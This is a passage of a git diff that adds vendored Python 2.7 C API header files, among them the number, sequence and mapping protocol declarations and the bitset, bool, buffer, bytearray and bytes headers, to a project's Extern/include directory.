PyNumber_Check(PyObject *o); + + /* + Returns 1 if the object, o, provides numeric protocols, and + false otherwise. + + This function always succeeds. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Add(PyObject *o1, PyObject *o2); + + /* + Returns the result of adding o1 and o2, or null on failure. + This is the equivalent of the Python expression: o1+o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Subtract(PyObject *o1, PyObject *o2); + + /* + Returns the result of subtracting o2 from o1, or null on + failure. This is the equivalent of the Python expression: + o1-o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Multiply(PyObject *o1, PyObject *o2); + + /* + Returns the result of multiplying o1 and o2, or null on + failure. This is the equivalent of the Python expression: + o1*o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Divide(PyObject *o1, PyObject *o2); + + /* + Returns the result of dividing o1 by o2, or null on failure. + This is the equivalent of the Python expression: o1/o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_FloorDivide(PyObject *o1, PyObject *o2); + + /* + Returns the result of dividing o1 by o2 giving an integral result, + or null on failure. + This is the equivalent of the Python expression: o1//o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_TrueDivide(PyObject *o1, PyObject *o2); + + /* + Returns the result of dividing o1 by o2 giving a float result, + or null on failure. + This is the equivalent of the Python expression: o1/o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Remainder(PyObject *o1, PyObject *o2); + + /* + Returns the remainder of dividing o1 by o2, or null on + failure. This is the equivalent of the Python expression: + o1%o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Divmod(PyObject *o1, PyObject *o2); + + /* + See the built-in function divmod. Returns NULL on failure. + This is the equivalent of the Python expression: + divmod(o1,o2). + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Power(PyObject *o1, PyObject *o2, + PyObject *o3); + + /* + See the built-in function pow. Returns NULL on failure. + This is the equivalent of the Python expression: + pow(o1,o2,o3), where o3 is optional. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Negative(PyObject *o); + + /* + Returns the negation of o on success, or null on failure. + This is the equivalent of the Python expression: -o. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Positive(PyObject *o); + + /* + Returns the (what?) of o on success, or NULL on failure. + This is the equivalent of the Python expression: +o. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Absolute(PyObject *o); + + /* + Returns the absolute value of o, or null on failure. This is + the equivalent of the Python expression: abs(o). + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Invert(PyObject *o); + + /* + Returns the bitwise negation of o on success, or NULL on + failure. This is the equivalent of the Python expression: + ~o. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Lshift(PyObject *o1, PyObject *o2); + + /* + Returns the result of left shifting o1 by o2 on success, or + NULL on failure. This is the equivalent of the Python + expression: o1 << o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Rshift(PyObject *o1, PyObject *o2); + + /* + Returns the result of right shifting o1 by o2 on success, or + NULL on failure. This is the equivalent of the Python + expression: o1 >> o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_And(PyObject *o1, PyObject *o2); + + /* + Returns the result of bitwise and of o1 and o2 on success, or + NULL on failure. This is the equivalent of the Python + expression: o1&o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Xor(PyObject *o1, PyObject *o2); + + /* + Returns the bitwise exclusive or of o1 by o2 on success, or + NULL on failure. This is the equivalent of the Python + expression: o1^o2. + + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Or(PyObject *o1, PyObject *o2); + + /* + Returns the result of bitwise or on o1 and o2 on success, or + NULL on failure. This is the equivalent of the Python + expression: o1|o2. + + */ + + /* Implemented elsewhere: + + int PyNumber_Coerce(PyObject **p1, PyObject **p2); + + This function takes the addresses of two variables of type + PyObject*. + + If the objects pointed to by *p1 and *p2 have the same type, + increment their reference count and return 0 (success). + If the objects can be converted to a common numeric type, + replace *p1 and *p2 by their converted value (with 'new' + reference counts), and return 0. + If no conversion is possible, or if some other error occurs, + return -1 (failure) and don't increment the reference counts. + The call PyNumber_Coerce(&o1, &o2) is equivalent to the Python + statement o1, o2 = coerce(o1, o2). + + */ + +#define PyIndex_Check(obj) \ + ((obj)->ob_type->tp_as_number != NULL && \ + PyType_HasFeature((obj)->ob_type, Py_TPFLAGS_HAVE_INDEX) && \ + (obj)->ob_type->tp_as_number->nb_index != NULL) + + PyAPI_FUNC(PyObject *) PyNumber_Index(PyObject *o); + + /* + Returns the object converted to a Python long or int + or NULL with an error raised on failure. + */ + + PyAPI_FUNC(Py_ssize_t) PyNumber_AsSsize_t(PyObject *o, PyObject *exc); + + /* + Returns the Integral instance converted to an int. The + instance is expected to be int or long or have an __int__ + method. Steals integral's reference. error_format will be + used to create the TypeError if integral isn't actually an + Integral instance. error_format should be a format string + that can accept a char* naming integral's type. + */ + + PyAPI_FUNC(PyObject *) _PyNumber_ConvertIntegralToInt( + PyObject *integral, + const char* error_format); + + /* + Returns the object converted to Py_ssize_t by going through + PyNumber_Index first. If an overflow error occurs while + converting the int-or-long to Py_ssize_t, then the second argument + is the error-type to return. If it is NULL, then the overflow error + is cleared and the value is clipped. + */ + + PyAPI_FUNC(PyObject *) PyNumber_Int(PyObject *o); + + /* + Returns the o converted to an integer object on success, or + NULL on failure. This is the equivalent of the Python + expression: int(o). + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Long(PyObject *o); + + /* + Returns the o converted to a long integer object on success, + or NULL on failure. This is the equivalent of the Python + expression: long(o). + + */ + + PyAPI_FUNC(PyObject *) PyNumber_Float(PyObject *o); + + /* + Returns the o converted to a float object on success, or NULL + on failure. This is the equivalent of the Python expression: + float(o). + */ + +/* In-place variants of (some of) the above number protocol functions */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceAdd(PyObject *o1, PyObject *o2); + + /* + Returns the result of adding o2 to o1, possibly in-place, or null + on failure. This is the equivalent of the Python expression: + o1 += o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceSubtract(PyObject *o1, PyObject *o2); + + /* + Returns the result of subtracting o2 from o1, possibly in-place or + null on failure. This is the equivalent of the Python expression: + o1 -= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceMultiply(PyObject *o1, PyObject *o2); + + /* + Returns the result of multiplying o1 by o2, possibly in-place, or + null on failure. This is the equivalent of the Python expression: + o1 *= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceDivide(PyObject *o1, PyObject *o2); + + /* + Returns the result of dividing o1 by o2, possibly in-place, or null + on failure. This is the equivalent of the Python expression: + o1 /= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceFloorDivide(PyObject *o1, + PyObject *o2); + + /* + Returns the result of dividing o1 by o2 giving an integral result, + possibly in-place, or null on failure. + This is the equivalent of the Python expression: + o1 /= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceTrueDivide(PyObject *o1, + PyObject *o2); + + /* + Returns the result of dividing o1 by o2 giving a float result, + possibly in-place, or null on failure. + This is the equivalent of the Python expression: + o1 /= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceRemainder(PyObject *o1, PyObject *o2); + + /* + Returns the remainder of dividing o1 by o2, possibly in-place, or + null on failure. This is the equivalent of the Python expression: + o1 %= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlacePower(PyObject *o1, PyObject *o2, + PyObject *o3); + + /* + Returns the result of raising o1 to the power of o2, possibly + in-place, or null on failure. This is the equivalent of the Python + expression: o1 **= o2, or pow(o1, o2, o3) if o3 is present. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceLshift(PyObject *o1, PyObject *o2); + + /* + Returns the result of left shifting o1 by o2, possibly in-place, or + null on failure. This is the equivalent of the Python expression: + o1 <<= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceRshift(PyObject *o1, PyObject *o2); + + /* + Returns the result of right shifting o1 by o2, possibly in-place or + null on failure. This is the equivalent of the Python expression: + o1 >>= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceAnd(PyObject *o1, PyObject *o2); + + /* + Returns the result of bitwise and of o1 and o2, possibly in-place, + or null on failure. This is the equivalent of the Python + expression: o1 &= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceXor(PyObject *o1, PyObject *o2); + + /* + Returns the bitwise exclusive or of o1 by o2, possibly in-place, or + null on failure. This is the equivalent of the Python expression: + o1 ^= o2. + + */ + + PyAPI_FUNC(PyObject *) PyNumber_InPlaceOr(PyObject *o1, PyObject *o2); + + /* + Returns the result of bitwise or of o1 and o2, possibly in-place, + or null on failure. This is the equivalent of the Python + expression: o1 |= o2. + + */ + + + PyAPI_FUNC(PyObject *) PyNumber_ToBase(PyObject *n, int base); + + /* + Returns the integer n converted to a string with a base, with a base + marker of 0b, 0o or 0x prefixed if applicable. + If n is not an int object, it is converted with PyNumber_Index first. + */ + + +/* Sequence protocol:*/ + + PyAPI_FUNC(int) PySequence_Check(PyObject *o); + + /* + Return 1 if the object provides sequence protocol, and zero + otherwise. + + This function always succeeds. + + */ + + PyAPI_FUNC(Py_ssize_t) PySequence_Size(PyObject *o); + + /* + Return the size of sequence object o, or -1 on failure. + + */ + + /* For DLL compatibility */ +#undef PySequence_Length + PyAPI_FUNC(Py_ssize_t) PySequence_Length(PyObject *o); +#define PySequence_Length PySequence_Size + + + PyAPI_FUNC(PyObject *) PySequence_Concat(PyObject *o1, PyObject *o2); + + /* + Return the concatenation of o1 and o2 on success, and NULL on + failure. This is the equivalent of the Python + expression: o1+o2. + + */ + + PyAPI_FUNC(PyObject *) PySequence_Repeat(PyObject *o, Py_ssize_t count); + + /* + Return the result of repeating sequence object o count times, + or NULL on failure. This is the equivalent of the Python + expression: o1*count. + + */ + + PyAPI_FUNC(PyObject *) PySequence_GetItem(PyObject *o, Py_ssize_t i); + + /* + Return the ith element of o, or NULL on failure. This is the + equivalent of the Python expression: o[i]. + */ + + PyAPI_FUNC(PyObject *) PySequence_GetSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2); + + /* + Return the slice of sequence object o between i1 and i2, or + NULL on failure. This is the equivalent of the Python + expression: o[i1:i2]. + + */ + + PyAPI_FUNC(int) PySequence_SetItem(PyObject *o, Py_ssize_t i, PyObject *v); + + /* + Assign object v to the ith element of o. Returns + -1 on failure. This is the equivalent of the Python + statement: o[i]=v. + + */ + + PyAPI_FUNC(int) PySequence_DelItem(PyObject *o, Py_ssize_t i); + + /* + Delete the ith element of object v. Returns + -1 on failure. This is the equivalent of the Python + statement: del o[i]. + */ + + PyAPI_FUNC(int) PySequence_SetSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2, + PyObject *v); + + /* + Assign the sequence object, v, to the slice in sequence + object, o, from i1 to i2. Returns -1 on failure. This is the + equivalent of the Python statement: o[i1:i2]=v. + */ + + PyAPI_FUNC(int) PySequence_DelSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2); + + /* + Delete the slice in sequence object, o, from i1 to i2. + Returns -1 on failure. This is the equivalent of the Python + statement: del o[i1:i2]. + */ + + PyAPI_FUNC(PyObject *) PySequence_Tuple(PyObject *o); + + /* + Returns the sequence, o, as a tuple on success, and NULL on failure. + This is equivalent to the Python expression: tuple(o) + */ + + + PyAPI_FUNC(PyObject *) PySequence_List(PyObject *o); + /* + Returns the sequence, o, as a list on success, and NULL on failure. + This is equivalent to the Python expression: list(o) + */ + + PyAPI_FUNC(PyObject *) PySequence_Fast(PyObject *o, const char* m); + /* + Returns the sequence, o, as a tuple, unless it's already a + tuple or list. Use PySequence_Fast_GET_ITEM to access the + members of this list, and PySequence_Fast_GET_SIZE to get its length. + + Returns NULL on failure. If the object does not support iteration, + raises a TypeError exception with m as the message text. + */ + +#define PySequence_Fast_GET_SIZE(o) \ + (PyList_Check(o) ? PyList_GET_SIZE(o) : PyTuple_GET_SIZE(o)) + /* + Return the size of o, assuming that o was returned by + PySequence_Fast and is not NULL. + */ + +#define PySequence_Fast_GET_ITEM(o, i)\ + (PyList_Check(o) ? PyList_GET_ITEM(o, i) : PyTuple_GET_ITEM(o, i)) + /* + Return the ith element of o, assuming that o was returned by + PySequence_Fast, and that i is within bounds. + */ + +#define PySequence_ITEM(o, i)\ + ( Py_TYPE(o)->tp_as_sequence->sq_item(o, i) ) + /* Assume tp_as_sequence and sq_item exist and that i does not + need to be corrected for a negative index + */ + +#define PySequence_Fast_ITEMS(sf) \ + (PyList_Check(sf) ? ((PyListObject *)(sf))->ob_item \ + : ((PyTupleObject *)(sf))->ob_item) + /* Return a pointer to the underlying item array for + an object retured by PySequence_Fast */ + + PyAPI_FUNC(Py_ssize_t) PySequence_Count(PyObject *o, PyObject *value); + + /* + Return the number of occurrences on value on o, that is, + return the number of keys for which o[key]==value. On + failure, return -1. This is equivalent to the Python + expression: o.count(value). + */ + + PyAPI_FUNC(int) PySequence_Contains(PyObject *seq, PyObject *ob); + /* + Return -1 if error; 1 if ob in seq; 0 if ob not in seq. + Use __contains__ if possible, else _PySequence_IterSearch(). + */ + +#define PY_ITERSEARCH_COUNT 1 +#define PY_ITERSEARCH_INDEX 2 +#define PY_ITERSEARCH_CONTAINS 3 + PyAPI_FUNC(Py_ssize_t) _PySequence_IterSearch(PyObject *seq, + PyObject *obj, int operation); + /* + Iterate over seq. Result depends on the operation: + PY_ITERSEARCH_COUNT: return # of times obj appears in seq; -1 if + error. + PY_ITERSEARCH_INDEX: return 0-based index of first occurrence of + obj in seq; set ValueError and return -1 if none found; + also return -1 on error. + PY_ITERSEARCH_CONTAINS: return 1 if obj in seq, else 0; -1 on + error. + */ + +/* For DLL-level backwards compatibility */ +#undef PySequence_In + PyAPI_FUNC(int) PySequence_In(PyObject *o, PyObject *value); + +/* For source-level backwards compatibility */ +#define PySequence_In PySequence_Contains + + /* + Determine if o contains value. If an item in o is equal to + X, return 1, otherwise return 0. On error, return -1. This + is equivalent to the Python expression: value in o. + */ + + PyAPI_FUNC(Py_ssize_t) PySequence_Index(PyObject *o, PyObject *value); + + /* + Return the first index for which o[i]=value. On error, + return -1. This is equivalent to the Python + expression: o.index(value). + */ + +/* In-place versions of some of the above Sequence functions. */ + + PyAPI_FUNC(PyObject *) PySequence_InPlaceConcat(PyObject *o1, PyObject *o2); + + /* + Append o2 to o1, in-place when possible. Return the resulting + object, which could be o1, or NULL on failure. This is the + equivalent of the Python expression: o1 += o2. + + */ + + PyAPI_FUNC(PyObject *) PySequence_InPlaceRepeat(PyObject *o, Py_ssize_t count); + + /* + Repeat o1 by count, in-place when possible. Return the resulting + object, which could be o1, or NULL on failure. This is the + equivalent of the Python expression: o1 *= count. + + */ + +/* Mapping protocol:*/ + + PyAPI_FUNC(int) PyMapping_Check(PyObject *o); + + /* + Return 1 if the object provides mapping protocol, and zero + otherwise. + + This function always succeeds. + */ + + PyAPI_FUNC(Py_ssize_t) PyMapping_Size(PyObject *o); + + /* + Returns the number of keys in object o on success, and -1 on + failure. For objects that do not provide sequence protocol, + this is equivalent to the Python expression: len(o). + */ + + /* For DLL compatibility */ +#undef PyMapping_Length + PyAPI_FUNC(Py_ssize_t) PyMapping_Length(PyObject *o); +#define PyMapping_Length PyMapping_Size + + + /* implemented as a macro: + + int PyMapping_DelItemString(PyObject *o, char *key); + + Remove the mapping for object, key, from the object *o. + Returns -1 on failure. This is equivalent to + the Python statement: del o[key]. + */ +#define PyMapping_DelItemString(O,K) PyObject_DelItemString((O),(K)) + + /* implemented as a macro: + + int PyMapping_DelItem(PyObject *o, PyObject *key); + + Remove the mapping for object, key, from the object *o. + Returns -1 on failure. This is equivalent to + the Python statement: del o[key]. + */ +#define PyMapping_DelItem(O,K) PyObject_DelItem((O),(K)) + + PyAPI_FUNC(int) PyMapping_HasKeyString(PyObject *o, char *key); + + /* + On success, return 1 if the mapping object has the key, key, + and 0 otherwise. This is equivalent to the Python expression: + o.has_key(key). + + This function always succeeds. + */ + + PyAPI_FUNC(int) PyMapping_HasKey(PyObject *o, PyObject *key); + + /* + Return 1 if the mapping object has the key, key, + and 0 otherwise. This is equivalent to the Python expression: + o.has_key(key). + + This function always succeeds. + + */ + + /* Implemented as macro: + + PyObject *PyMapping_Keys(PyObject *o); + + On success, return a list of the keys in object o. On + failure, return NULL. This is equivalent to the Python + expression: o.keys(). + */ +#define PyMapping_Keys(O) PyObject_CallMethod(O,"keys",NULL) + + /* Implemented as macro: + + PyObject *PyMapping_Values(PyObject *o); + + On success, return a list of the values in object o. On + failure, return NULL. This is equivalent to the Python + expression: o.values(). + */ +#define PyMapping_Values(O) PyObject_CallMethod(O,"values",NULL) + + /* Implemented as macro: + + PyObject *PyMapping_Items(PyObject *o); + + On success, return a list of the items in object o, where + each item is a tuple containing a key-value pair. On + failure, return NULL. This is equivalent to the Python + expression: o.items(). + + */ +#define PyMapping_Items(O) PyObject_CallMethod(O,"items",NULL) + + PyAPI_FUNC(PyObject *) PyMapping_GetItemString(PyObject *o, char *key); + + /* + Return element of o corresponding to the object, key, or NULL + on failure. This is the equivalent of the Python expression: + o[key]. + */ + + PyAPI_FUNC(int) PyMapping_SetItemString(PyObject *o, char *key, + PyObject *value); + + /* + Map the object, key, to the value, v. Returns + -1 on failure. This is the equivalent of the Python + statement: o[key]=v. + */ + + +PyAPI_FUNC(int) PyObject_IsInstance(PyObject *object, PyObject *typeorclass); + /* isinstance(object, typeorclass) */ + +PyAPI_FUNC(int) PyObject_IsSubclass(PyObject *object, PyObject *typeorclass); + /* issubclass(object, typeorclass) */ + + +PyAPI_FUNC(int) _PyObject_RealIsInstance(PyObject *inst, PyObject *cls); + +PyAPI_FUNC(int) _PyObject_RealIsSubclass(PyObject *derived, PyObject *cls); + + +#ifdef __cplusplus +} +#endif +#endif /* Py_ABSTRACTOBJECT_H */ diff --git a/Extern/include/Python27/asdl.h b/Extern/include/Python27/asdl.h new file mode 100644 index 0000000..84e837e --- /dev/null +++ b/Extern/include/Python27/asdl.h @@ -0,0 +1,45 @@ +#ifndef Py_ASDL_H +#define Py_ASDL_H + +typedef PyObject * identifier; +typedef PyObject * string; +typedef PyObject * object; + +#ifndef __cplusplus +typedef enum {false, true} bool; +#endif + +/* It would be nice if the code generated by asdl_c.py was completely + independent of Python, but it is a goal the requires too much work + at this stage. So, for example, I'll represent identifiers as + interned Python strings. +*/ + +/* XXX A sequence should be typed so that its use can be typechecked. */ + +typedef struct { + int size; + void *elements[1]; +} asdl_seq; + +typedef struct { + int size; + int elements[1]; +} asdl_int_seq; + +asdl_seq *asdl_seq_new(int size, PyArena *arena); +asdl_int_seq *asdl_int_seq_new(int size, PyArena *arena); + +#define asdl_seq_GET(S, I) (S)->elements[(I)] +#define asdl_seq_LEN(S) ((S) == NULL ? 0 : (S)->size) +#ifdef Py_DEBUG +#define asdl_seq_SET(S, I, V) { \ + int _asdl_i = (I); \ + assert((S) && _asdl_i < (S)->size); \ + (S)->elements[_asdl_i] = (V); \ +} +#else +#define asdl_seq_SET(S, I, V) (S)->elements[I] = (V) +#endif + +#endif /* !Py_ASDL_H */ diff --git a/Extern/include/Python27/ast.h b/Extern/include/Python27/ast.h new file mode 100644 index 0000000..cc14b7f --- /dev/null +++ b/Extern/include/Python27/ast.h @@ -0,0 +1,13 @@ +#ifndef Py_AST_H +#define Py_AST_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(mod_ty) PyAST_FromNode(const node *, PyCompilerFlags *flags, + const char *, PyArena *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_AST_H */ diff --git a/Extern/include/Python27/bitset.h b/Extern/include/Python27/bitset.h new file mode 100644 index 0000000..faeb419 --- /dev/null +++ b/Extern/include/Python27/bitset.h @@ -0,0 +1,32 @@ + +#ifndef Py_BITSET_H +#define Py_BITSET_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Bitset interface */ + +#define BYTE char + +typedef BYTE *bitset; + +bitset newbitset(int nbits); +void delbitset(bitset bs); +#define testbit(ss, ibit) (((ss)[BIT2BYTE(ibit)] & BIT2MASK(ibit)) != 0) +int addbit(bitset bs, int ibit); /* Returns 0 if already set */ +int samebitset(bitset bs1, bitset bs2, int nbits); +void mergebitset(bitset bs1, bitset bs2, int nbits); + +#define BITSPERBYTE (8*sizeof(BYTE)) +#define NBYTES(nbits) (((nbits) + BITSPERBYTE - 1) / BITSPERBYTE) + +#define BIT2BYTE(ibit) ((ibit) / BITSPERBYTE) +#define BIT2SHIFT(ibit) ((ibit) % BITSPERBYTE) +#define BIT2MASK(ibit) (1 << BIT2SHIFT(ibit)) +#define BYTE2BIT(ibyte) ((ibyte) * BITSPERBYTE) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_BITSET_H */ diff --git a/Extern/include/Python27/boolobject.h b/Extern/include/Python27/boolobject.h new file mode 100644 index 0000000..74e854f --- /dev/null +++ b/Extern/include/Python27/boolobject.h @@ -0,0 +1,36 @@ +/* Boolean object interface */ + +#ifndef Py_BOOLOBJECT_H +#define Py_BOOLOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +typedef PyIntObject PyBoolObject; + +PyAPI_DATA(PyTypeObject) PyBool_Type; + +#define PyBool_Check(x) (Py_TYPE(x) == &PyBool_Type) + +/* Py_False and Py_True are the only two bools in existence. +Don't forget to apply Py_INCREF() when returning either!!! */ + +/* Don't use these directly */ +PyAPI_DATA(PyIntObject) _Py_ZeroStruct, _Py_TrueStruct; + +/* Use these macros */ +#define Py_False ((PyObject *) &_Py_ZeroStruct) +#define Py_True ((PyObject *) &_Py_TrueStruct) + +/* Macros for returning Py_True or Py_False, respectively */ +#define Py_RETURN_TRUE return Py_INCREF(Py_True), Py_True +#define Py_RETURN_FALSE return Py_INCREF(Py_False), Py_False + +/* Function to return a bool from a C long */ +PyAPI_FUNC(PyObject *) PyBool_FromLong(long); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_BOOLOBJECT_H */ diff --git a/Extern/include/Python27/bufferobject.h b/Extern/include/Python27/bufferobject.h new file mode 100644 index 0000000..6dd8345 --- /dev/null +++ b/Extern/include/Python27/bufferobject.h @@ -0,0 +1,33 @@ + +/* Buffer object interface */ + +/* Note: the object's structure is private */ + +#ifndef Py_BUFFEROBJECT_H +#define Py_BUFFEROBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +PyAPI_DATA(PyTypeObject) PyBuffer_Type; + +#define PyBuffer_Check(op) (Py_TYPE(op) == &PyBuffer_Type) + +#define Py_END_OF_BUFFER (-1) + +PyAPI_FUNC(PyObject *) PyBuffer_FromObject(PyObject *base, + Py_ssize_t offset, Py_ssize_t size); +PyAPI_FUNC(PyObject *) PyBuffer_FromReadWriteObject(PyObject *base, + Py_ssize_t offset, + Py_ssize_t size); + +PyAPI_FUNC(PyObject *) PyBuffer_FromMemory(void *ptr, Py_ssize_t size); +PyAPI_FUNC(PyObject *) PyBuffer_FromReadWriteMemory(void *ptr, Py_ssize_t size); + +PyAPI_FUNC(PyObject *) PyBuffer_New(Py_ssize_t size); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_BUFFEROBJECT_H */ diff --git a/Extern/include/Python27/bytearrayobject.h b/Extern/include/Python27/bytearrayobject.h new file mode 100644 index 0000000..e1281a6 --- /dev/null +++ b/Extern/include/Python27/bytearrayobject.h @@ -0,0 +1,57 @@ +/* ByteArray object interface */ + +#ifndef Py_BYTEARRAYOBJECT_H +#define Py_BYTEARRAYOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* Type PyByteArrayObject represents a mutable array of bytes. + * The Python API is that of a sequence; + * the bytes are mapped to ints in [0, 256). + * Bytes are not characters; they may be used to encode characters. + * The only way to go between bytes and str/unicode is via encoding + * and decoding. + * For the convenience of C programmers, the bytes type is considered + * to contain a char pointer, not an unsigned char pointer. + */ + +/* Object layout */ +typedef struct { + PyObject_VAR_HEAD + /* XXX(nnorwitz): should ob_exports be Py_ssize_t? */ + int ob_exports; /* how many buffer exports */ + Py_ssize_t ob_alloc; /* How many bytes allocated */ + char *ob_bytes; +} PyByteArrayObject; + +/* Type object */ +PyAPI_DATA(PyTypeObject) PyByteArray_Type; +PyAPI_DATA(PyTypeObject) PyByteArrayIter_Type; + +/* Type check macros */ +#define PyByteArray_Check(self) PyObject_TypeCheck(self, &PyByteArray_Type) +#define PyByteArray_CheckExact(self) (Py_TYPE(self) == &PyByteArray_Type) + +/* Direct API functions */ +PyAPI_FUNC(PyObject *) PyByteArray_FromObject(PyObject *); +PyAPI_FUNC(PyObject *) PyByteArray_Concat(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyByteArray_FromStringAndSize(const char *, Py_ssize_t); +PyAPI_FUNC(Py_ssize_t) PyByteArray_Size(PyObject *); +PyAPI_FUNC(char *) PyByteArray_AsString(PyObject *); +PyAPI_FUNC(int) PyByteArray_Resize(PyObject *, Py_ssize_t); + +/* Macros, trading safety for speed */ +#define PyByteArray_AS_STRING(self) \ + (assert(PyByteArray_Check(self)), \ + Py_SIZE(self) ? ((PyByteArrayObject *)(self))->ob_bytes : _PyByteArray_empty_string) +#define PyByteArray_GET_SIZE(self) (assert(PyByteArray_Check(self)),Py_SIZE(self)) + +PyAPI_DATA(char) _PyByteArray_empty_string[]; + +#ifdef __cplusplus +} +#endif +#endif /* !Py_BYTEARRAYOBJECT_H */ diff --git a/Extern/include/Python27/bytes_methods.h b/Extern/include/Python27/bytes_methods.h new file mode 100644 index 0000000..4125666 --- /dev/null +++ b/Extern/include/Python27/bytes_methods.h @@ -0,0 +1,75 @@ +#ifndef Py_BYTES_CTYPE_H +#define Py_BYTES_CTYPE_H + +/* + * The internal implementation behind PyString (bytes) and PyBytes (buffer) + * methods of the given names, they operate on ASCII byte strings. + */ +extern PyObject* _Py_bytes_isspace(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_isalpha(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_isalnum(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_isdigit(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_islower(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_isupper(const char *cptr, Py_ssize_t len); +extern PyObject* _Py_bytes_istitle(const char *cptr, Py_ssize_t len); + +/* These store their len sized answer in the given preallocated *result arg. */ +extern void _Py_bytes_lower(char *result, const char *cptr, Py_ssize_t len); +extern void _Py_bytes_upper(char *result, const char *cptr, Py_ssize_t len); +extern void _Py_bytes_title(char *result, char *s, Py_ssize_t len); +extern void _Py_bytes_capitalize(char *result, char *s, Py_ssize_t len); +extern void _Py_bytes_swapcase(char *result, char *s, Py_ssize_t len); + +/* Shared __doc__ strings. */ +extern const char _Py_isspace__doc__[]; +extern const char _Py_isalpha__doc__[]; +extern const char _Py_isalnum__doc__[]; +extern const char _Py_isdigit__doc__[]; +extern const char _Py_islower__doc__[]; +extern const char _Py_isupper__doc__[]; +extern const char _Py_istitle__doc__[]; +extern const char _Py_lower__doc__[]; +extern const char _Py_upper__doc__[]; +extern const char _Py_title__doc__[]; +extern const char _Py_capitalize__doc__[]; +extern const char _Py_swapcase__doc__[]; + +/* These are left in for backward compatibility and will be removed + in 2.8/3.2 */ +#define ISLOWER(c) Py_ISLOWER(c) +#define ISUPPER(c) Py_ISUPPER(c) +#define ISALPHA(c) Py_ISALPHA(c) +#define ISDIGIT(c) Py_ISDIGIT(c) +#define ISXDIGIT(c) Py_ISXDIGIT(c) +#define ISALNUM(c) Py_ISALNUM(c) +#define ISSPACE(c) Py_ISSPACE(c) + +#undef islower +#define islower(c) undefined_islower(c) +#undef isupper +#define isupper(c) undefined_isupper(c) +#undef isalpha +#define isalpha(c) undefined_isalpha(c) +#undef isdigit +#define isdigit(c) undefined_isdigit(c) +#undef isxdigit +#define isxdigit(c) undefined_isxdigit(c) +#undef isalnum +#define isalnum(c) undefined_isalnum(c) +#undef isspace +#define isspace(c) undefined_isspace(c) + +/* These are left in for backward compatibility and will be removed + in 2.8/3.2 */ +#define TOLOWER(c) Py_TOLOWER(c) +#define TOUPPER(c) Py_TOUPPER(c) + +#undef tolower +#define tolower(c) undefined_tolower(c) +#undef toupper +#define toupper(c) undefined_toupper(c) + +/* this is needed because some docs are shared from the .o, not static */ +#define PyDoc_STRVAR_shared(name,str) const char name[] = PyDoc_STR(str) + +#endif /* !Py_BYTES_CTYPE_H */ diff --git a/Extern/include/Python27/bytesobject.h b/Extern/include/Python27/bytesobject.h new file mode 100644 index 0000000..1083da9 --- /dev/null +++ b/Extern/include/Python27/bytesobject.h @@ -0,0 +1,27 @@ +#define PyBytesObject PyStringObject +#define PyBytes_Type PyString_Type + +#define PyBytes_Check PyString_Check +#define PyBytes_CheckExact PyString_CheckExact +#define PyBytes_CHECK_INTERNED PyString_CHECK_INTERNED +#define PyBytes_AS_STRING PyString_AS_STRING +#define PyBytes_GET_SIZE PyString_GET_SIZE +#define Py_TPFLAGS_BYTES_SUBCLASS Py_TPFLAGS_STRING_SUBCLASS + +#define PyBytes_FromStringAndSize PyString_FromStringAndSize +#define PyBytes_FromString PyString_FromString +#define PyBytes_FromFormatV PyString_FromFormatV +#define PyBytes_FromFormat PyString_FromFormat +#define PyBytes_Size PyString_Size +#define PyBytes_AsString PyString_AsString +#define PyBytes_Repr PyString_Repr +#define PyBytes_Concat PyString_Concat +#define PyBytes_ConcatAndDel PyString_ConcatAndDel +#define _PyBytes_Resize _PyString_Resize +#define _PyBytes_Eq _PyString_Eq +#define PyBytes_Format PyString_Format +#define _PyBytes_FormatLong _PyString_FormatLong +#define PyBytes_DecodeEscape PyString_DecodeEscape +#define _PyBytes_Join 